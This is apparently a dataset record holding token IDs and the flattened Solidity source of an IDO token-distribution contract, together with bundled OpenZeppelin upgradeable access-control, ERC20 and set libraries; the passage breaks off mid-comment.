[ 101, 1014, 2595, 2683, 2575, 2497, 12376, 23632, 12879, 2549, 2497, 2509, 2546, 21486, 2581, 2575, 11057, 16576, 11057, 28311, 2094, 2620, 19961, 2497, 20958, 2487, 20952, 2475, 2050, 2620, 2581, 2063, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 22564, 8113, 13767, 6525, 14321, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 25209, 13699, 10624, 22648, 2571, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 21183, 12146, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 22834, 22648, 2571, 1012, 14017, 1000, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,397
0x96B5760f2fDD375f181440915B46F39d790434e7
// SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; contract IDODistributor is AccessControlEnumerableUpgradeable, ReentrancyGuardUpgradeable { function initialize() public virtual initializer { IDODistributor_init(); } bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE"); using SafeERC20Upgradeable for IERC20Upgradeable; address public idoToken; address public ORNToken; uint256 public totalORN; uint256 public allocation; uint32 public startTime; uint32 public finishTime; uint32 public startClaimTime; mapping (address => uint256) public userBalances; event UserParticipated( address participant, uint256 amount, uint256 time ); event TokensClaimed( address receiver, uint256 amount, uint256 time ); function IDODistributor_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(OWNER_ROLE, msg.sender); } function addOwner(address _owner) public { require(hasRole(OWNER_ROLE, msg.sender), "IDD:NOT_OWNER"); grantRole(OWNER_ROLE, _owner); } function setIDOParams( address _ornToken, address _idoToken, uint32 _startTime, uint32 _finishTime, uint256 _allocation, uint32 _startClaimTime ) external returns(bool) { require(hasRole(OWNER_ROLE, msg.sender), "IDD:NOT_OWNER"); ORNToken = _ornToken; idoToken = _idoToken; startTime = _startTime; finishTime = _finishTime; allocation = _allocation; startClaimTime = _startClaimTime; return true; } function participate(uint256 amount) external nonReentrant { require(amount > 0, "IDD:LOW_AMOUNT"); require(block.timestamp >= startTime, "IDD:IDO_NOT_STARTED"); require(block.timestamp < finishTime, "IDD:IDO_FINISHED"); IERC20Upgradeable _ORNToken = IERC20Upgradeable(ORNToken); require(_ORNToken.allowance(msg.sender, address(this)) >= amount, "IDD:LOW_ALLOWANCE"); uint256 oldBalance = _ORNToken.balanceOf(address(this)); _ORNToken.safeTransferFrom(msg.sender, address(this), amount); require(_ORNToken.balanceOf(address(this)) == oldBalance + amount, "IDD:TRANSFER_FAIL"); totalORN += amount; userBalances[msg.sender] += amount; emit UserParticipated(msg.sender, amount, block.timestamp); } function emergencyAssetWithdrawal(address asset, address wallet) external { require(hasRole(OWNER_ROLE, msg.sender), "IDD:NOT_OWNER"); IERC20Upgradeable token = IERC20Upgradeable(asset); token.safeTransfer(wallet, token.balanceOf(address(this))); } function claimTokens() external nonReentrant { require(block.timestamp >= startClaimTime, "IDD:IDO_CLAIM_NOT_STARTED"); require(userBalances[msg.sender] > 0, "IDD:NOT_PARTICIPATOR"); uint256 idoTokenAmount = userBalances[msg.sender]*allocation/totalORN; userBalances[msg.sender] = 0; IERC20Upgradeable(idoToken).safeTransfer(msg.sender, idoTokenAmount); emit TokensClaimed(msg.sender, idoTokenAmount, block.timestamp); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/AccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlEnumerableUpgradeable.sol"; import "./AccessControlUpgradeable.sol"; import "../utils/structs/EnumerableSetUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); } function __AccessControlEnumerable_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {_grantRole} to track enumerable memberships */ function _grantRole(bytes32 role, address account) internal virtual override { super._grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {_revokeRole} to track enumerable memberships */ function _revokeRole(bytes32 role, address account) internal virtual override { super._revokeRole(role, account); _roleMembers[role].remove(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; import "../../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/IAccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a 